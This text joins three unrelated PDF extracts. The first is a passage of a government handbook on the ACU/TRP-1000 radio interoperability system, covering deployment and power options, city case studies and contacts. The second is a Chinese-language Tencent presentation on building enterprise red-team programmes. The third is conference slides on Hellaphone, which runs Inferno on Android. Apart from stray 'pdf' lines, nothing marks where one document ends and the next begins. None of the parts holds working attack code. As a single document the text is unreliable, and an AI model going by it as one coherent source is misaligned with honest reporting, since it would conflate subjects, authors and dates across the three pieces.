conflicts were usually simple to resolve. 4.2.1 Mobile Mounting, Rooftop, Portable Towers Jurisdictions mounting the TRP-1000 in a mobile configuration have used a variety of antenna installations. Some use the mag- netic, full-range units; others installed fre- quency specific antennae on a vehicle's rooftop (or on a ground plane attached to the rooftop). Others mount a portable crank-up tower or pneumatic mast to the mobile unit to get greater coverage and separation capability for the antennas. One jurisdiction utilized the donation of a pneumatic mast from a media company that retired one of their mo- bile satellite trucks. 4.2.2 Temporary Magnetic Mount Antenna The TRP-1000 systems have been supplied to the jurisdictions with several full-range magnetic mount antennas that work rea- sonably well for limited events. The mag- netic mount units provide extreme flexibility in that the antenna can be placed almost anywhere and the system is operational in ACU/TRP-1000 Handbook Page 4-2 minutes. The full-range antennae also re- duce the potential of connecting the incor- rect antennae to a radio that could damage the transmitter. Interference between radios is resolved by a slight adjustment of the an- tenna placement. 4.3 Fixed Facility Options Several of the jurisdictions have installed fixed antenna units to allow the system to be operated as a semi-permanent installa- tion that can provide greater coverage area, directional capability, and usually resolve any interference issues. In some cases, such as using the TRP-1000 as a backup repeater site, jurisdictions can install the needed antennae, provide a power supply, and bring the unit to the facility when needed. Some jurisdictions have one unit at their communications center to allow in- terconnection with other agencies (within range of the communications center) and to allow ease of initial training and refresher training for the operators. 4.3.1 Planning Deployment Options Several of the extremely large jurisdictions have terrain problems that prevented a sin- gle TRP-1000 unit from covering their entire response area. By using maps of the juris- diction, it may be possible to plan for cover- age of the entire jurisdiction from a couple of strategically located sites. In other cases, mobile deployment is the preferred solution with antennae mounted on the roof of the vehicle. Combinations of fixed facility installations, complemented with mobile units, are also possible. Taking advantage of existing antenna towers to place additional antennae for the TRP-1000 provides coverage of a large portion of the jurisdiction from a limited number of sites. New Vipernet technology from JPS Com- munications, Inc., will also allow remote op- eration of the TRP-1000 units from a central communications center. 4.3.2 Helicopter Deployment A jurisdiction with extremely difficult terrain mounted the TRP-1000 in a helicopter for deployment over the incident scene to pro- vide capability that could not be accom- plished from a ground site. Other agencies have minimal need for helicopter deploy- ment and would not wish to go through the re-balancing and re-certification needed to deploy multiple additional antennas and equipment on a helicopter. 4.4 Power Supplies The TRP-1000 can run off 110V (volt) or 220V alternating current (AC) and 12V or 24V DC. Power supplies can range from vehicle batteries to portable generators or units can be plugged into a standard power jack in a nearby building. 4.4.1 Uninterrupted Power Supplies When using an AC power supply, especially a generator, it is a good idea to consider placing one or more uninterrupted power supply (UPS) devices (depending on capac- ity) between the AC source and the TRP- 1000. This is a relatively low cost means of protecting the electronic components of the unit, as a UPS will supply a continuous and regulated supply of power. UPS units are short life batteries that are constantly charged by the connected AC power sup- plies. The TRP-1000 would then plug into the UPS device and be powered by the batter- ies. In this way, the TPR-1000 can remain operating for several minutes after the pri- mary power source fails, allowing for the proper notifications and shutdown proce- dures to occur. The UPS device also serves to filter the peaks coming from a generator system. This prevents service interruptions if the generator runs out of fuel, or if the power cable is accidentally disconnected. 4.4.2 Generator Capacities Most of the portable systems use portable generators in the 5-kilowatt capacity range, or carry (trailored behind the unit) multiple 5-kilowatt generators for a backup capabil- ity, as shown in Figure 4-1. Under most circumstances, this capacity is adequate. ACU/TRP-1000 Handbook Page 4-3 However, in situations where all of the ra- dios are "keyed" for simultaneous transmis- sion, the generator circuit breaker may be tripped. System loads should be calculated and the power supply systems engineered to allow adequate capacity. Adding heating or air conditioning units will likely place too high a burden on a portable generator system. Providing safe transportation and storage of backup fuel supplies and refueling of the generator units should be addressed where applicable. 4.4.3 DC Power Operation While DC power is an option for using the TRP-1000 system, it requires bypassing the power supplies built into the system, along with considerable rewiring of the units, mak- ing it difficult to quickly reconfigure the unit for other deployment. Jurisdictions wishing to convert the system to DC operations should check to make sure the DC power supply (alternator) is adequate for running multiple radio systems simultaneously. 4.4.4 Onboard Generator Systems A recent development in power supply sys- tems for mobile equipment is the use of ad- vanced generators operating off the vehi- cle's engine. These generators are capable of supplying up to 10 kilowatts of power output. These systems convert the idling engine speed to AC electrical supply step- ping up the engine idle only as higher output is required. The supplier of this patented system is Auragen, Inc., which has units available for most vehicles manufactured after 1996. The use of retired fire/rescue apparatus as mounting platforms for the JPS system may prevent use of these newer systems. These new systems may be an attractive option for minimizing setup time, noise, and generator maintenance. With a system installed in a mobile communications van, it may be pos- sible to have the TRP-1000 operational prior to arriving on the scene. 4.5 JPS Corporate Support JPS Communications, Inc. has pioneered the use of radio interoperability systems for use by emergency response personnel. They are committed to providing continuing customer support and further improvements to existing systems, as they are made avail- able. 4.5.1 Cabling Issues JPS has schematic diagrams available to any jurisdiction that needs to connect addi- tional radios to the TRP-1000 system be- yond the radios installed with the basic con- figuration. Some jurisdictions with commu- nications technicians or specialists have the capability, and prefer to make their own ca- bles. Other jurisdictions have requested JPS supply the completed cables. JPS has created a catalog of available connection cables available for purchase. (See Appen- dix for JPS Communications, Inc., contact information) Figure 4-1 Two portable generators mounted on a trailer pulled by a van housing the TRP- 1000 unit. ACU/TRP-1000 Handbook Page 4-4 4.5.2 Initial Training and Set-Up JPS will provide training and setup assis- tance to any jurisdiction purchasing the TRP-1000 systems. They are willing to as- sist with initial programming issues and to assure capable training is provided. (See Appendix for JPS Communications, Inc. contact information) 4.5.3 Software Upgrades JPS will provide free software upgrades to existing systems as they become available. Users should contact JPS to determine if upgrades are available for their unit. (See Appendix for JPS Communications, Inc. contact information) 4.5.4 Assistance at Major Scheduled Events JPS has provided local, state, and federal responders with major event deployments, including free technical assistance and training or operators for the unit as re- quested. (See Appendix for JPS Communi- cations, Inc. contact information) ACU/TRP-1000 Handbook Page 5-1 5 OPERATING SYSTEM MOD- ELS The following are examples of three com- munities that have established multi-agency interoperability communications systems using the ACU/TRP-1000 system. These communities have undertaken initial set-up and operation projects aimed at providing high performance multi-agency communica- tions support for emergency response inci- dents. These project models are presented here in order to demonstrate the extraordinary ca- pability of the ACU/TRP-1000 system, and to provide insight and ideas to those devel- oping their own high performance interoper- able communications system. The exam- ples cited do not represent the complete capability, nor all the possible options and configurations possible with the ACU/TRP- 1000 system. However, they do demon- strate a dynamic and comprehensive ap- proach to solving interoperability communi- cations problems. The projects selected are from three distinct types of jurisdictions. Those selected pre- sent a model from a very large metropolitan city, a large growing urban community, and a rural/ large city interface jurisdiction. The intent is to present ideas and examples covering a variety of settings, background, and terrains. ODP recognizes that, although the project models described here are comprehensive, they are not perfect, nor are they the only jurisdictions with advanced or high perform- ance interoperable communication system projects. 5.1 Chicago, Illinois Project Chicago is the third largest city in the U.S. and has a population of nearly 3 million people. The Chicago metropolitan area covers an area of 228.5 square miles that encompasses the City and its surrounding suburbs and includes six counties in Illinois (Cook, Lake, McHenry, DuPage, Kane and Will). In 2000, the Chicago Fire Department responded to over 500,000 calls for help responding to various incidents involving people with emergency medical conditions as well as calls to preserve property. The department has six districts, 24 battalions, and a uniformed force of almost 5,000, in- cluding paramedics. In 2000, Chicago acquired six TRP-1000 systems. Two units stay in the command center. Two units are reserved for deploy- ment on an as-needed basis with neighbor- ing jurisdictions. One has been installed in a surplus vehicle and the final unit will be similarly deployed. One of the mobile sys- tems will be shared with federal agencies. The goal is to support 67 jurisdictions in the metropolitan area. The City of Chicago's Office of Emergency Communications (OEC) is charged with providing 911/311 call answering and dis- patching of Police/Fire/Emergency Medical Services (EMS) personnel within the corpo- rate city limits of Chicago. The OEC also has the responsibility of transferring any calls for service received that require the response of a suburban public safety agency. The OEC is responsible for staffing a Field Communications vehicle. The vehicle is operational on a 24 hour a day, 7 days a week basis and is staffed with an opera- tor/driver and an electrical mechanic/ driver. Face-to-face relief at the incident scene al- lows for the continuity of communications services. The staff for the vehicle has been selected based on previous dispatch ex- perience, effectiveness in following guide- lines and procedures, knowledge of both fire and police dispatch operations and geo- graphical knowledge. The OEC, in conjunction with participating agencies, adopted a training manual con- sisting of specific modules involving these agencies and their operational concerns and practices. Training of the Field Com- munications vehicle staff took place at the OEC, and consisted of the pre-approved course along with specific training on the operations of the TRP-1000. ACU/TRP-1000 Handbook Page 5-2 Each member of the Field Communications staff also received vehicle operation train- ing, driver training, and training in the use of personal protective equipment. Classroom and drivers training lasted three weeks. Regularly scheduled in-service training cou- pled with drills and exercises supplement this formal training. The Field Communica- tions staff "tours" with the Field Communica- tions vehicle in order to provide on-site in- formational training to participating agen- cies. The Field Communications vehicle is a re- furbished 1992, Ford F350, with an ambu- lance body. The vehicle is equipped with a hydraulic extendible 50-foot tower that dra- matically increases the range of the system. As shown in Figure 5-1, the components are still housed in their shock resistant cases for increased protection and mobility. These units can still be removed from the ambulance and installed elsewhere rela- tively quickly. The vehicle currently houses a JPS TRP- 1000 interoperability system with five UHF and five VHF radios. The system has a file that tracks and logs connections of any phone numbers called as well as date, time and who connected or disconnected. OEC has also installed two 800 MHz radios, one 470-512 MHz radio, and one Motorola Low Band radio. Data communications are currently handled by two Motorola MW520 mobile data com- puters with 1000 nit screens and one Micro- slate portable data terminal. The Field Com vehicle is also equipped with one mobile cellular phone and a fax/copy/printer. The vehicle carries 10 portable Motorola XTS3500 450 MHz radios, 10 spare batter- ies, and two Cadex C7000 Battery Condi- tioners/Analyzers. The vehicle is equipped with its own on- board charging system and has a portable 5KW (kilo watt) gas generator that is carried on the rear tailboard to provide extended electrical power. The vehicle carries two 100 foot 12/3 electrical cables with quad boxes and two 25 foot 12/3 cables. 5.1.1 Chicago, Illinois TRP-1000 De- ployment The Chicago Fire Department is currently a member of the Mutual Aid Box Alarm Sys- tem (MABAS). The system involves over 700 separate fire departments in Illinois, Southern Wisconsin, Northeastern Indiana, and Southwestern Michigan operating on over 100 different radio frequencies. Field Communications is scheduled to respond on all 2nd alarm, or greater calls, and will also respond on special requests for inter- operability communications. The Field Communications unit responds on all aircraft disasters and accompanies the Chicago Fire Department's mobile com- mand center located at O'Hare Field. The command center responds to all aircraft disasters within 150 miles of Chicago. The Field Communications vehicle will fit in a C- 130 (or larger) aircraft for transport if neces- sary. Field Communications responds to all major power outages in the metropolitan area. The unit provides local public safety agen- cies with communications between them- selves and other responders as well as local utility providers. Field Communications also responds on all requests for communica- tions needs at the scene of marine inci- dents. Field Communications will respond Figure 5-1 View of TRP-1000 mounted in- side Chicago Fire Department’s Field Communication Van. ACU/TRP-1000 Handbook Page 5-3 to hostage/barricade incidents. The unit also responds to all requests from subur- ban, county, and state law enforcement agencies involved in hostage/barricade inci- dents. The Field Communications unit re- sponds on all level II, or greater, HazMat incidents. On any given day in the City of Chicago, over 30 law enforcement agencies operate inside the city limits. Currently, none of these agencies can communicate with each other. Additionally, the Field Communications unit responds and provides needed communica- tions interoperability to the requesting agen- cies. It will NOT replace incident command at the scene, but will act as a clearinghouse for communications between agencies. Immediately following its deployment, the operating staff of the Field Communications is available for debriefing and critiquing of the incident. They prepare a formal report objectively outlining their participation in the event and forward the report to the Incident Commander. 5.1.2 Chicago, Illinois Operation Plan The Office of Emergency Communications has verbal commitments from the Chicago Fire Department, Chicago Police Depart- ment, various city service agencies, the Illi- nois Department of Public Health, and the Chicago healthcare industry. They also have commitments from the MABAS (cover- ing 700 fire departments), the Illinois Asso- ciation of Chiefs of Police (IACP), the Community Fireman's Association (CFA covering 70 Fire Departments in Northern Indiana and Southwestern Michigan), FBI, ATF, and the US Army National Guard Civil Support Team (CST). The Chicago OEC Multi Agency radio Inter- operability Project (MARIP) team has just been given the results of a survey commis- sioned by the team on 75 surrounding cities in the Chicago Metropolitan Area. The sur- vey was conducted by a team from the cit- ies Executive Management School. The survey asked for each city to designate their main channel/s of communication (be they Fire/Police/EMS or Public Works) and to identify a channel that their departments could use as a secondary channel. This secondary channel will be designated their interoperability channel for the MARIP. Our next step will be to begin the process of inviting each discipline in the project to a briefing. The disciplines will include Police, Fire/EMS, County, State, Federal, Military, Mass Transportation and Public Utilities/ Public Works. As an example - We will ask the Police Departments to appear and brief those with the program, and after a demo of the Field Com/TRP1000 ask them to select a 13 person representative committee (12 members and 1 Chairperson) to work on developing an operational plan for the vehi- cle. The time line for plan submission will be 3 months. After all the plans are submit- ted we will again meet with all the commit- tee chairs and digest their reports to design a master plan. We project that by July 1, 2002, we will be ready for full implementa- tion. 5.2 Orlando, Florida Project Orlando is one of the fastest growing cities in America, presently encompassing over 105 square miles. The greater metropolitan Orlando area is made up of the City of Or- lando and three counties (Orange, with a population of almost 850,000; Seminole, with a population of over 350,000 and Lake with a population of just over 200,000). By 2005, the area population is projected to grow to over 1.75 million. Orlando acquired four (4) TRP-1000s. Their project plan re-deploys three of the units to the surrounding counties for their use. Or- lando will inspect the units on an annual ba- sis. Orlando installed 800 MHz radios so the other jurisdictions would have interoperabil- ity with Orlando. They requested a radio from each of the other jurisdictions to install in the unit they kept to assure interoperabil- ity with each of the recipient jurisdictions. ACU/TRP-1000 Handbook Page 5-4 Orlando configured all the systems before sending them out. Each system currently houses a TRP-1000 transportable module with five UHF and five VHF radios. Each system has a file that tracks and logs con- nections, disconnects and any phone num- bers called as well as date, time and who connected or disconnected. The city has also installed two 800 MHz radios, one 470- 512 MHz radio and one Motorola Low Band radio. They have Mosaic antennas for the UHF and VHF and they have two 800 MHz 5/8 wave antennas. 5.2.1 Orlando, Florida TRP-1000 De- ployment Orlando houses the TRP-1000 unit in the mobile racks to allow dispatchers to be more easily trained at their new communica- tions center. They are exploring vehicle de- ployment options. The City is also studying a mobile repeating option on a 50-foot tower, with four anten- nas mounted on an aluminum crossbar. With a van, they could use the "bigfoot" concept for raising antennas. They could use a disk antenna for low frequencies and a gain antenna for the 800 MHz spectrum. They are setting-up the TRP-1000 for use as an emergency dispatch center and as a mobile repeater. They have identified a number of frequencies to be used in the new system. In an emergency, they would be able to use the unit to dispatch to the entire city. Currently, portable radios have a problem transmitting back to a single an- tenna location. Note: The following section was taken from the AGILE: City of Orlando Fire De- partment Mock Disaster Drill After- Action Report. On January 13, 2001, the City of Orlando Fire Department (OFD) was involved in a mock disaster drill at Universal Studios in Orlando, Florida. The exercise included the City of Orlando Community Emergency Re- sponse Team (CERT) Association, City of Orlando Fire Department, and National Dis- aster Medical Systems (NDMS) Disaster Medical Assistance Team (DMAT FL-6). During this exercise, the fire department had the opportunity to utilize a TRP-1000 provided by the Department of Justice (DOJ) Office of Justice Programs (OJP), OSLDPS as part of a demonstration and assessment initiative. For this exercise, the TRP-1000 was used to link radio communi- cations between the Orlando Fire Depart- ment and DMAT FL-6. The exercise simu- lated a tornado hit in an urban area and the response of community volunteers (CERT) coming to the aid of the 150 disaster vic- tims. One hundred fifty children from an area high school were dressed in camou- flage and acted as victims of the storm event. The victims were dispersed through- out a section of Universal Studios Florida. Victims were assessed and provided basic first aid by the 20 CERT teams participating in the event (8 people per team) and trans- ported via stretchers to the DMAT. DMAT (a surgical field hospital) triaged and simu- lated treatment of 75 of these victims. The event lasted for five hours. The TRP-1000s were initially configured with Bendix King VHF and UHF radios. The City of Orlando Police Department pur- chased five Motorola 800 MHz MCS2000s for installation into the four TRP-1000s. Through a multi-agency agreement, the 800 MHz radios were programmed with systems and talk-groups from neighboring jurisdic- tions as well as conventional NPSPAC in- teroperability channels. The Bendix King radios were programmed with frequencies utilized within the State of Florida for inter- operability and disasters as well as Federal FEMA and NIC frequencies, which were also decided upon through multi-agency agreement. Orlando Fire Department transported the TRP-1000 to Universal Studios and set up operations in close proximity to DMAT FL-6. The TRP-1000 was set up and connected to AC power from two outlets on the property. OFD set up the antennas several wave- lengths apart utilizing some ice machines ACU/TRP-1000 Handbook Page 5-5 and the vehicle as a ground plane. The set up time for the TRP-1000 was approxi- mately 15 minutes. After the initial setup of the TRP-1000, a test was conducted of the 800 MHz, VHF, and UHF radios with an OFD portable radio. Initial attempts to generate a net between the 800 MHz, VHF, and UHF radios, and any combination thereof, were unsuccess- ful. OFD personnel determined that the speaker button on the VHF and UHF radios was set up for PA function rather than speaker. After the radios were repro- grammed, the TRP-1000 successfully gen- erated nets between the 800 MHz, VHF, and UHF radios without incident. After gen- erating a test net, audio settings were ad- justed to optimize performance; once ini- tially set, the settings did not require any further adjustment during the exercise. During the exercise, one of DMAT FL-6's 25 KHz UHF simplex channels was linked to a OFD 800 MHz talk-group. Once the soft- ware correction (described above) was ac- complished, the TRP-1000 worked flaw- lessly. There were brief moments of cross talk and intermod. This was not due to any deficiency in the TRP-1000 but a symptom of being set up in a RF rich environment, coupled with the DMAT FL- 6 radios utilizing carrier squelch rather than selective signal- ing. At the conclusion of the five-hour exer- cise, the TRP-1000 was dismantled and stored for transportation in 15 minutes. As- sistant Chief Robert Sorenson noted, "The TRP-1000 has tremendous potential for the City of Orlando and surrounding jurisdic- tions. The ability to network communica- tions of several agencies utilizing different communications mediums in a field portable piece of equipment makes operational in- teroperability a reality. In this exercise, the TRP-1000 system has proven to be a reli- able and useful piece of equipment." 5.3 Arapahoe County, Colorado Project Arapahoe County, Colorado is one of the largest counties in Colorado with a popula- tion of more than 500,000. It adjoins the City of Denver to the south, covering an area of 850 square miles. Littleton is the county seat. The western part of the County is mostly urban with residential, re- tail, office, and industrial areas, while the eastern portion is relatively rural. 5.3.1 Arapahoe County, Colorado TRP-1000 Deployment Arapahoe County has two TRP-1000 units. One is currently mounted in a converted prisoner transport van as shown in Figure 5-2. The county is purchasing a second van for the other unit that will have four wheel- drive capability and air conditioning. The unit is manned by telecommunications technicians and the van is available to go anywhere in the State of Colorado. There are two other technicians from neighboring counties that can be called upon to man the unit. The unit is equipped with 60 older VHF portable radios pre-configured for the inter- connect system. These can be distributed at an emergency site to assure each team has a radio that can communicate with the command post. The TRP-1000 can be eas- ily removed from the van for re-deployment to a higher elevation such as the top of a building. There are also two additional units set up in separate vans. The TRP-1000 units are Figure 5-2 Inside view of TRP-1000 strapped into a modified Arapahoe County Sheriffs prisoner transport van. ACU/TRP-1000 Handbook Page 5-6 attached via tie-down straps. There are 12 antennas on each van and two generators in a trailer that is towed by the vans. Arapahoe County contacted the FCC and the state telecommunications offices to get a current list of frequencies being used by emergency response agencies. They used these to make a list of contacts and phone numbers for all responder agencies in Colo- rado. That information is carried on the unit as a reference. The communications technicians have also equipped the van with schematic diagrams and common cable connectors to be able to interconnect other radios to the system while at the scene. Power to the unit is supplied by two genera- tors (one as backup) carried on a small flat bed trailer towed behind the van, or by ex- tension cord hookup to any satisfactory out- let. The power supply is "filtered" through two uninterruptible power supply (UPS) units to prevent voltage spikes, and to guard against generator failure or inadvertent dis- connection of the extension cord. Problems encountered with their set-up oc- curred on a hot day during the TOPOFF 2000 Exercise. Communications techni- cians had to fine-tune the radios connected to the TRP-1000 because they started to drift off-frequency. They now plan accord- ingly for the heat and bring fans or crack windows as necessary. Arapahoe County also notes that extreme cold temperatures can also cause radio fre- quency drift. To solve this problem, they are staffing the unit with radio technicians who can monitor and correct most radio problems. In the future, vehicles will be equipped with air-conditioning and heat to minimize this problem. Plans include the addition of an Aluma 75- foot winch-up tower. The tower would be towed on a trailer. Arapahoe County has informed other juris- dictions of their willingness to respond within the state in support of any major inci- dents. Arapahoe County has demonstrated the system on several occasions and has provided informational packets for other ju- risdictions interested in the system. ACU/TRP-1000 Handbook Page A-1 APPENDIX A – POINTS OF CONTACT The Office for Domestic Preparedness (ODP) Point of Contact: Scott Kelberg Email: mailto:[email protected] Web Site: http://www.ojp.usdoj.gov/osldps Point of Contact: Frank Lepage Email: mailto:[email protected] Web Site: http://www.ojp.usdoj.gov/osldps ODP State Domestic Preparedness Equipment Program Although the jurisdictions identified in this user’s guide obtained their ACU/TRP-1000 sys- tems through a one-time ODP pilot project, acquisition of interoperable communications equipment is also an allowable expense under the ODP State Domestic Preparedness Equipment program. Additional information on this program may be obtained from the ODP web site at: http://www.ojp.usdoj.gov JPS Communications, Inc, Corporate Support Information Address: JPS Communications, Inc. 5800 Departure Drive Raleigh, NC 27616 Phone: 919-790-1011 Fax: 919-790-1456 E-Mail: mailto:[email protected] Web Site: http://www.jps.com/ ACU/TRP-1000 Handbook Page B-1 APPENDIX B – PARTICIPATING JURISDICTIONS Point of Contact Title Agency/Location Phone Number Vince Whitmore Chief Fire Department Alexandria, VA (703) 838-4600 Jerry Evans Communications Operations Manager Fire Department Salt Lake City, UT (801) 799-3540 Thomas Bland Special Agent Federal Bureau of Investigations Atlanta, GA (404) 679-9000 John Hughes Telecommunications Specialist Federal Bureau of Prisons Philadelphia, PA (215) 521-7410 R.L. Sorenson Assistant Chief Fire Department City of Orlando, FL (407) 246-3160 Kay Calhoun Chief, Fire Commu- nications Officer Fire Department Baton Rouge, LA (225) 389-4615 Richard Nowakowski Project Manager Office of Emergency Communications Chicago, Ill (919) 790-1011 Craig W. Howe Telecommunications Specialist Arapahoe County Sheriff’s Office Arapahoe County, CO (303) 795-4998 ACU/TRP-1000 Handbook Page C-1 APPENDIX C – LIST OF ABBREVIATIONS/ACRONYMS Abbreviation/Acronym Callout AC Alternating current ACU/TRP-1000 systems Used to generically refer to both the ACU-1000 and TRP-1000 systems ACU-1000 ACU-1000 Modular Interconnect System AGILE Advanced Generation Interoperability for Law Enforcement Aluma Aluma is a registered trademark of the Aluma Tower Company, Inc. ATF Alcohol, Tobacco, and Firearms CERT Community Emergency Response Team CFA Community Fireman's Association CST Civil Support Team DC Direct current DMAT Disaster Medical Assistance Team EMS Emergency Medical Services FBI Federal Bureau of Investigation FCC Federal Communications Commission FEMA Federal Emergency Management Agency HazMat Hazardous Material HF High frequency IACP Illinois Association of Chiefs of Police IC Incident Commander JPS JPS Communications, Inc. KHz Kilo hertz MABAS Mutual Aid Box Alarm System MARIS Multiple Agency Radio Interoperability System MHz Mega hertz NDMS National Disaster Medical Systems NIC Network Interface Card NIJ National Institute of Justice ODP Office for Domestic Preparedness OEC Office of Emergency Communications OFD Orlando Fire Department OJP Office of Justice Programs PL Private line TRP Transportable TRP-1000 TRP-1000 Transportable Radio Interconnect System UHF Ultra High Frequency UPS Uninterruptable power supply V Volt VHF Very High Frequency ViperNet Voice over Internet Protocol for the Extension of Radios over Networks. ViperNet is JPS' proprietary technology embodied in a family of hard- ware and software products that enable communications radios to be interconnected via a network across the room or around the world. Voice over Internet Protocol, known as VoIP, is a means of digitizing voice sig- nals and transmitting them over a digital network, which can be a LAN, WAN or even the internet itself.
pdf
以攻促防 —— 企业红蓝对抗体系建设 关于我 胡珀 / lake2 腾讯 - 技术工程事业群(TEG)- 安全平台部 应用运维安全总监,基础安全负责人,资深专家工程师 腾讯安全应急响应中心(TSRC) Tencent Blade Team 安全研究团队 腾讯蓝军及“倚天”蓝军自动化平台 主导 逾十五年网络安全经验 2007年加入腾讯,一直从事基础安全相关工作 安全组织80SEC/蓝星群/企业蓝军联盟(COS)成员 企业安全体系建设思路 - SDL • 安全技术培训 • 安全意识培训 • 安全规范 • 安全技术培训 • 安全意识培训 • 安全规范 • 代码审计 • 渗透测试 • 应急响应执行 • 人工巡查 • 漏洞扫描系统 • 安全情报系统 • 安全需求建立 • 质量标准建立 • 风险识别 • 提供安全开发工具 • 安全开发模范和最 佳实践 • 安全API • 应急响应方案 • 上线前集成环境安 全检查 • 安全运维规范 培训/training 设计/design 验证/verification 响应/response 要求/requirements 实施/implementation 发布/release Security Development Lifecycle 企业安全体系建设思路 - DevSecOps 一个问题 建立了安全团队 建设了各类安全规范、安全系统、 安全流程 那么,现在足够安全 了吗? 如何验证安全体系是否有效 实战是检验安全防护能力的唯一标准 Talk is Cheap,Show me the Shell Red Team(蓝军)与红蓝对抗的概念 理念来自军事演习 Red Team 红队/蓝军 攻击方 发起网络攻击验证 Blue Team 蓝队 防守方 负责网络攻击防守 Purple Team 紫队 协调方 检验攻防双方效果 渗透测试与红蓝对抗 红蓝对抗是传统的渗透测试的升级版 腾讯蓝军体系建设实践 自2006年渗透测试开始 从单一Web漏洞挖掘到整体安全体系验证 覆盖APT攻击、DDoS、AIoT、风控安全、办 公室窃听等场景 衍生出专门的战略支援团队及平台 引入外部白帽子及众测 为腾讯云大客户提供服务 系统安全蓝军(黑客攻防) 传统的系统漏 洞挖掘及模拟 APT攻击 网络安全蓝军(DDoS攻防) 模拟各类资源消耗型、流量阻塞型的DDoS攻击,检验DDoS防护体系 业务安全蓝军(风控攻防) 模拟各类黑产,检验业务安全防护体系 物理安全蓝军(“窃听风云”) 模拟会议室窃听、近源渗透等场景,检验物理安全防护体系 泛蓝军 - SRC与众测 以众多第三方的独立视角帮助发现实际安全风险 泛蓝军 – 支援部队 战略支援部队:工具平台研发、安全技术研究支持 红蓝对抗实战案例一 2010年一次红蓝对抗,模拟黑客进行渗透,挖掘漏洞同时检验HIDS的入侵检测能力 红蓝对抗实战案例二 2018年一次红蓝对抗,启动无人机挂载无线电发射器飞到智能楼宇36层进行近源渗透, 展示智能楼宇的安全风险 HITB 2018:《HACKING INTELLIGENT BUILDING》 蓝军经验沉淀 —— “倚天”蓝军平台建设 将个人能力和经验沉淀为平台策略,尽量自动化实现红蓝对抗检验 测试版已发现外部35个企业70个严重漏洞,均已通过对应SRC提交 各蓝军团队的分工与协作 —— 腾讯经验 开源协同:解决跨团队的多支蓝军的竞争与合作 内部开源,底层技术平台共建 协同作战,子领域各自分任之 红蓝对抗Oteam 尝试为行业做一些微小贡献 企业蓝军联盟(COS,Cyber Offensive Security),由 avfisher 发起的闭门会 旨在: 促进行业内蓝军团队技术交流 促进行业内蓝军团队互助与合作 推动行业内企业蓝军体系建设 制定行业蓝军技术标准 (?) 总结 关注安全风险,更要关注安全防御体系的缺陷 不止是渗透,红蓝对抗领域应该是全方位的 不要依赖单兵作战,红蓝对抗能力需要沉淀为自动化平台 在HW推动下,红蓝对抗将飞速发展,不论是技术还是商业化 关注法律风险,一切行动都需要在合法合规条件下进行 谢谢观看! 虽是陌路,亦可相识
pdf
Hellaphone John Floren Introduction Android Inferno Bibliography Hellaphone: Replacing the Java in Android John Floren Sandia National Labs July 2012 Collaborators: Joshua Landgraf, Joel Armstrong Sandia National Laboratories is a multi-program laboratory managed and operated by Sandia Corporation, a wholly owned subsidiary of Lockheed Martin Corporation, for the U.S. Department of Energy’s National Nuclear Security Administration under contract DE-AC03-94AL85000. SAND 2012-5278C. Hellaphone John Floren Introduction Android Inferno Bibliography Biography • Computer engineer by training (RIT) • Been interested in operating systems since high school • Work for Sandia National Labs, California • High performance computing • Mobile • Security • I like open source and Sandia is down with that • Goal: open up as much of my work as possible Hellaphone John Floren Introduction Android Inferno Bibliography Smartphones • Totally ruling the world • A computer in my pocket? Awesome! • It can make phone calls too? • Nifty sensors: camera, GPS, accelerometer • Read email, browse the web, take pictures, get driving directions, play games • Manage your passwords, 2 factor auth, Google Wallet Hellaphone John Floren Introduction Android Inferno Bibliography Why smartphones kinda suck • Blackberry, iPhone, Windows: all closed-source • RIM will decrypt your messages for the government [6][5] • iPhone • Tracks your movements [1] • DoS attack via SMS [2] • Windows • Nobody has one! • DoS’d via SMS [7] • CarrierIQ [3] Hellaphone John Floren Introduction Android Inferno Bibliography But Android is still cool, right? • Linux-based • Open-source • Tons of devices (phones, tablets, laptops) • Write your own applications–no developer fees, no market fees! • You can hack the OS if you want • Big community of developers and OS hackers Hellaphone John Floren Introduction Android Inferno Bibliography Android kinda sucks too • I have to program in WHAT? • Vendors have no incentive to update the OS • How much do you trust Joe Random’s ICS Rom? • Security ain’t so hot • DEF CON 19: fake OTA updates • CarrierIQ • Malicious apps [4] • About 15 million lines of code, not including Linux. • Not very documented–hope you like digging! • 1.2 GHz processor, 512 MB of RAM, runs like a dog Hellaphone John Floren Introduction Android Inferno Bibliography Android as a Linux platform • Android is unattractive for hacking, sure • Really just a thick layer of Java spread on top of a thin Linux cracker • Mostly standard Linux underneath • Comes with a little busybox environment • Cyanogenmod ships a rather nice environment with bash etc. • Let’s scrape away the Java and build on Linux • Bonus: we’ll get tons of compatible hardware with all the drivers already written Hellaphone John Floren Introduction Android Inferno Bibliography Inferno • Open-source operating system from Bell Labs, now owned by Vita Nuova • Implements the Dis virtual machine • Runs natively or hosted on Linux/Windows/OS X/Plan 9 • Inspired by Plan 9 • Compiles fast, launches fast • Runs in a few megabytes • About 1 million LOC total • This includes the applications and code for native booting (which we don’t use) • Why not run it on top of Android’s Linux? • We get all the hardware drivers (binary blobs, yay!) • Makes updating Inferno easy–no flashing ROMs Hellaphone John Floren Introduction Android Inferno Bibliography Android - Java = Linux • The first thing we do, let’s kill all the Java • Every Java process spawns from "zygote" • Eliminate it from /init.rc • But / is reset every boot! • You can build your own custom ROM • Or use our script to grab the running boot image, modify it, and reflash Hellaphone John Floren Introduction Android Inferno Bibliography Android + Inferno = Hellaphone • Adapt Inferno to build for Android • Use AGCC script to build Inferno with Android compilers and libs • Most of the Linux code is suitable • Some tweaks were needed in bits of assembly or C • Had to create support for various bits of hardware • Framebuffer adapted from OLPC code • Mouse code to parse touchscreen inputs • Convert /dev/input events to text and make it available • Hack the window manager to make it suitable for a phone. Hellaphone John Floren Introduction Android Inferno Bibliography The old Inferno window manager Hellaphone John Floren Introduction Android Inferno Bibliography The new phone-friendly window manager Hellaphone John Floren Introduction Android Inferno Bibliography The drop-down menu Hellaphone John Floren Introduction Android Inferno Bibliography It has a browser too Hellaphone John Floren Introduction Android Inferno Bibliography Phone-specific stuff • devphone talks to the radio • Presents a file system interface • To make a phone call: echo ’dial 15551234567’ > /phone/phone • To receive incoming calls, read from /phone/phone • Read will block until a call is incoming • Similar interface for SMS • Nobody wants to make phone calls like that • So we wrote a dialer app and an SMS app • Also made early drafts at WiFi and audio drivers (both semi-functional) Hellaphone John Floren Introduction Android Inferno Bibliography Dialing application Hellaphone John Floren Introduction Android Inferno Bibliography SMS application Hellaphone John Floren Introduction Android Inferno Bibliography Neat things to try • Inferno sandboxing - one instance of OS per app • Security hacks • If accelerometer reads > 10G, wipe the SD card • Fun with 9P • Easy to access your files at home • Easy to share files with nearby phones • Use 9P to export your phone’s devices and control them from your PC • Anti-theft 